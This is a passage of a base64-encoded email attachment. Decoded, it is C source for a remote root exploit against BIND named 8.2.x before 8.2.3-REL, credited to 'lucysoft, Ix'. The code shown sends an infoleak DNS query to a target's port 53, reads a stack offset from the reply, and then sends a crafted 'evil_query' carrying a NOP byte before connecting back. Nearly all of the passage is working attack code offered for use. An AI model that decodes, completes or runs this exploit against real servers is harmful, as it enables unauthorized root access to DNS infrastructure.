CglzID0gaHRvbnMoMHhmYSkgLyogbnNfdF90c2lnICovOw0KCVBVVExPTkco cywgcHRyKTsNCgkNCglmb3IgKGsgPSAwOyBrIDwgMTsgaysrKQ0KCXsNCgkJ KnB0cisrID0gMHg5MDsNCgl9DQoNCglidWZmbGVuID0gcHRyIC0gYnVmZjsN CglyZXR1cm4oYnVmZmxlbik7CQkNCn0NCg0KDQpsb25nIHh0cmFjdF9vZmZz ZXQoY2hhciogYnVmZikNCnsNCglsb25nIHJldDsNCgkNCglyZXQgPSAqKChs b25nKikmYnVmZlsweDIxNF0pOw0KDQoJYXJnZXZkaXNwMSA9IDB4MDgwZDdj ZDA7DQoJYXJnZXZkaXNwMiA9ICooKGxvbmcqKSZidWZmWzB4MjY0XSk7DQoN CglyZXR1cm4ocmV0KTsNCn0NCg0KDQoNCg0KaW50IG1haW4oaW50IGFyZ2Ms IGNoYXIqIGFyZ3ZbXSkNCnsNCglzdHJ1Y3Qgc29ja2FkZHJfaW4gc2E7DQoJ aW50IHNvY2s7DQoJbG9uZyBhZGRyZXNzOw0KCWNoYXIgYnVmZltCVUZGU0la RV07DQoJaW50IGxlbiwgaTsNCglsb25nIG9mZnNldDsNCglzb2NrbGVuX3Qg cmVjbGVuOw0KDQoJcHJpbnRmKCJuYW1lZCA4LjIueCAoPCA4LjIuMy1SRUwp IHJlbW90ZSByb290IGV4cGxvaXQgYnkgbHVjeXNvZnQsIEl4XG5cbiIpOw0K DQoJYWRkcmVzcyA9IDA7DQoJaWYgKGFyZ2MgPCAyKQ0KCXsNCgkJcHJpbnRm KCJ1c2FnZSA6ICVzIGhvc3RcbiIsIGFyZ3ZbMF0pOw0KDQoJCXJldHVybigt MSk7DQoJfQ0KDQoJaWYgKCEoYWRkcmVzcyA9IHJlc29sdmVfaG9zdChhcmd2 WzFdKSkpDQoJew0KCQlwcmludGYoInVuYWJsZSB0byByZXNvbHZlICVzLCB0 cnkgdXNpbmcgYW4gSVAgYWRkcmVzc1xuIiwgYXJndlsxXSk7DQoJCXJldHVy bigtMSk7DQoJfQ0KCQ0KCXNhLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0KDQoJ aWYgKDAgPiAoc29jayA9IHNvY2tldChzYS5zaW5fZmFtaWx5LCBTT0NLX0RH UkFNLCAwKSkpDQoJew0KCQlyZXR1cm4oLTEpOw0KCX0NCgkNCglzYS5zaW5f ZmFtaWx5ID0gQUZfSU5FVDsNCglzYS5zaW5fcG9ydCA9IGh0b25zKDUzKTsN CglzYS5zaW5fYWRkci5zX2FkZHI9IGFkZHJlc3M7DQoJDQoJDQoJbGVuID0g aW5mb2xlYWtfcXJ5KGJ1ZmYpOw0KCWxlbiA9IHNlbmR0byhzb2NrLCBidWZm LCBsZW4sIDAgLCAoc3RydWN0IHNvY2thZGRyICopJnNhLCBzaXplb2Yoc2Ep KTsNCglpZiAobGVuIDwgMCkNCgl7DQoJCXByaW50ZigidW5hYmxlIHRvIHNl bmQgaXF1ZXJ5XG4iKTsNCgkJcmV0dXJuKC0xKTsNCgl9DQoJDQoJcmVjbGVu ID0gc2l6ZW9mKHNhKTsNCglsZW4gPSByZWN2ZnJvbShzb2NrLCBidWZmLCBC VUZGU0laRSwgMCwgKHN0cnVjdCBzb2NrYWRkciAqKSZzYSwgJnJlY2xlbik7 DQoJaWYgKGxlbiA8IDApDQoJew0KICAgICAgICAgICAgICAgIHByaW50Zigi dW5hYmxlIHRvIHJlY2VpdmUgaXF1ZXJ5IGFuc3dlclxuIik7DQogICAgICAg ICAgICAgICAgcmV0dXJuKC0xKTsJDQoJfQ0KCXByaW50ZigiaXF1ZXJ5IHJl c3AgbGVuID0gJWRcbiIsIGxlbik7DQoJDQoJb2Zmc2V0ID0geHRyYWN0X29m ZnNldChidWZmKTsNCglwcmludGYoInJldHJpZXZlZCBzdGFjayBvZmZzZXQg PSAleFxuIiwgb2Zmc2V0KTsNCgkNCgkNCglsZW4gPSBldmlsX3F1ZXJ5KGJ1 ZmYsIG9mZnNldCk7DQoJDQoJc2VuZHRvKHNvY2ssIGJ1ZmYsIGxlbiwgMCAs IChzdHJ1Y3Qgc29ja2FkZHIgKikmc2EsIHNpemVvZihzYSkpOw0KCQ0KCWlm ICgwID4gY2xvc2Uoc29jaykpDQoJew0KCQlyZXR1cm4oLTEpOw0KCX0NCg0K CWNvbm5lY3Rpb24oc2EpOw0KDQoJcmV0dXJuKDApOwkNCn0NCg== ---423515664-539257130-981311673=:19073--
|